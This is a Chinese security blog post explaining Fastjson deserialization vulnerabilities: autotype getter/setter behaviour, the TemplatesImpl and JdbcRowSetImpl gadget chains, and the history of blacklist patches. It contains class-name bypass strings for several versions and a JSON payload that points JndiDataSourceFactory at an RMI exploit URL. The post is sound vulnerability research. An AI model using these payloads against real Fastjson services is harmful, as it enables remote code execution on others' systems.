p0's blog | 破 关注网络安全
FastJson反序列化的前世今生
发表于: | 分类: 技术分享,代码审计 | 评论:0 | 阅读: 535

0x00 前言

fastjson是一个由alibaba开源的高性能且功能非常完善的JSON库,解决JSON数据处理的业务问题。应用范围非常广,是国内外流行的反序列化依赖库。截止20181126,Fastjson最新版本是1.2.51。使用老版本的Fastjson可能存在高危安全问题。官方已在1.2.25版本中推出白名单+黑名单两种方式的防御,默认使用白名单,截至目前来说白名单已做到绝对安全。但为了兼容老版本应用,仍然保留了AutoType开关,fastjson在新版本中内置了多重防护,但是还是可能会存在一定风险。所以在开发中应严格控制AutoType开关,保持fastjson为最新版本。

0x01 背景知识

简介

首先先了解FastJson正常反序列化的特点。FastJson是自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是settergetter的操作,从而结合一些类的特性造成命令执行。

先创建一个实体类User:

package fastjsontest;
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class User {
    public String name;
    private int age;
    private Boolean sex;
    private Properties prop;
    public User(){
        System.out.println("User() is called");
    }
    public void setAge(int age){
        System.out.println("setAge() is called");
        this.age = age;
    }
    public Boolean getSex(){
        System.out.println("getGrade() is called");
        return this.sex;
    }
    public Properties getProp(){
        System.out.println("getProp() is called");
        return this.prop;
    }
    public String toString(){
        String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, User.class);
        System.out.println(obj);
    }
}

其中包括:

  • public元素name
  • private元素age和它的setter函数
  • private元素sex和它的getter函数
  • private元素prop和它的getter函数

运行结果

User() is called
setAge() is called
getProp() is called
[User Object] name=Tom, age=13, prop=null, sex=null
Process finished with exit code 0

根据结果可以看出:

  1. User 对象的无参构造函数被调用
  2. public String name 被成功的反序列化
  3. private int age 被成功的反序列化, setter 函数被调用
  4. private Boolean sex 没有被反序列化,getter 函数也没有被调用
  5. private Properties prop没有被反序列化, getter 函数被调用

漏洞正是出现在这些gettersetter的自动调用中

重点关注后两条,sexprop都为private变量,propgetter被调用,sex的没有。这里就涉及FastJson的一个特性,也是下面一个POC构造的关键。

根据FastJson源码发现,FastJson会对满足下列要求的getter进行调用

  • 只有getter没有setter
  • 函数名称大于等于4
  • 非静态函数
  • 函数名称以get起始,且第四个字符为大写字母
  • 函数没有入参
  • 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

Properties继承于HashtableHashtable又继承于Map,满足所有条件,因此可被调用。

这时候假如public Properties getProp()中用户可输入参数构造存在危险操作的调用链,便可触发任意命令执行漏洞

反序列化私有变量

反序列化的时候私有变量sex因为没有setter没有被反序列化,如果想要也反序列化怎么办,FastJson提供参数设定Feature.SupportNonPublicField

测试代码改为:

    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

便可将私有变量进行反序列化。

关于指定反序列化类的类型

可以看到,测试代码在反序列化的时候指定了User.class类型,正常可控的反序列化的点是不会指定符合我们构造POC要求的类型的,那么不指定类型,或者指定其他类型能不能调用想要的方法呢?

不指定类型:
    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

Output:

虽然没指定类型,但是也成功调用了相关的方法。

指定其他类型:

StringInteger等常见类型发现可以成功调用相关方法

    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, Integer.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

但是指定的一些其他类型时不能成功调用,如Runtime

    public static void main(String[] args){
        String jsonstr = "{\"@type\":\"fastjsontest.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
        Object obj = JSON.parseObject(jsonstr, Runtime.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }

这是因为FastJson内部封装了一部分常用类的类型,是列表里面的会直接进行反序列化,不会进行对比,反序列化完成后会直接进行强制类型转换。

这部分显得有点麻烦,开发在写代码的时候很多时候也不会用parseObject,而是parse一把梭,parse相对于parseObject便会自动处理这些东西。

0x02 漏洞利用

官方于2017年3月5号发出安全公告,4月29号流露出相关POC,其中利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类,看TemplatesImpl类的_outputProperties变量和getOutputProperties()函数,完全满足前面说的自动调用的条件。


然后getOutputProperties()的后续可以通过类定义的方式执行任意代码。

POC构造文章请参考

fastjson 远程反序列化poc的构造和分析

可能会发出的疑问:

  1. _outputProperties为什么会和getOutputProperties()相关联?
  2. 为什么需要对_bytecodes进行Base64编码?

FastJson 反序列化漏洞利用的三个细节 - TemplatesImpl 利用链

  1. 为什么给_tfactory赋值?第一篇文章有讲
  2. 为什么给_name赋值?

后面的过程会判断_name是否有值。

其他POC

2017看雪安全开发峰会上有人提出基于JNDI构造POC利用:

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

该POC利用的是setter函数,上面的测试代码可以看出,所有的setter函数被调用,所以基于JNDI的利用相对于前者基本没有任何局限,直接JSON.parse(input)便可造成漏洞

造成命令执行:

0x03 补丁&绕过

V1.2.25-加入白名单和黑名单


默认开启白名单,白名单关闭时黑名单才生效,后面所有的绕过都是针对于白名单关闭的情况下

v1.2.25绕过(当时版本v1.2.41)

方式:
Lcom.sun.rowset.RowSetImpl;
原因:

loadClass递归去除开头的L和结尾的;,并且是在黑名单检测之后。

V1.2.42补丁

修复补丁绕过,去除开头的L和结尾的;,无用补丁,再次被绕过

黑名单改为hash模式

可通过爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。

V1.2.42绕过

方式:
LLcom.sun.rowset.RowSetImpl;;
原因:
V1.2.42补丁不生效

v1.2.43补丁

出现LL开头;;结尾抛出异常然后去除开头的L和结尾的;
补丁生效

v1.2.25绕过(当时版本v1.2.43)

方式:
[com.sun.rowset.RowSetImpl

Lcom.sun.rowset.RowSetImpl;其实是一样的,看前面loadClass的代码,不止处理了Lxxxx;格式数据,还处理的[开头的数据。当时为什么没有一并修复了,这个POC本人测试时不成功的,因为后面的操作会报错,猜测可能当时也是发现不能利用就没修。

v1.2.44补丁

比较暴力,出现相关字符直接抛出异常。

v1.2.25绕过(当时版本v1.2.45)

POC:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

原因:
黑名单被绕过

v1.2.46补丁

扩大很名单

0x04 往后的安全风险


一直在扩大黑名单,在更多的三方依赖引入的过程中,肯定还会存在被绕过的风险。

可能被绕过的方式:

  1. 挖掘出新的利用方式-JDK中新的利用类
  2. 扩展依赖-新的三方依赖
  3. 应用代码-针对某个应用,开发写出可被利用的代码
  4. 其他漏洞-安全研究者基本上只关注了远程命令执行,结合反序列化也可能造成其他危险的操作,比如直接操纵数据库。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/123/
来源:https://p0sec.net/

添加新评论

TOP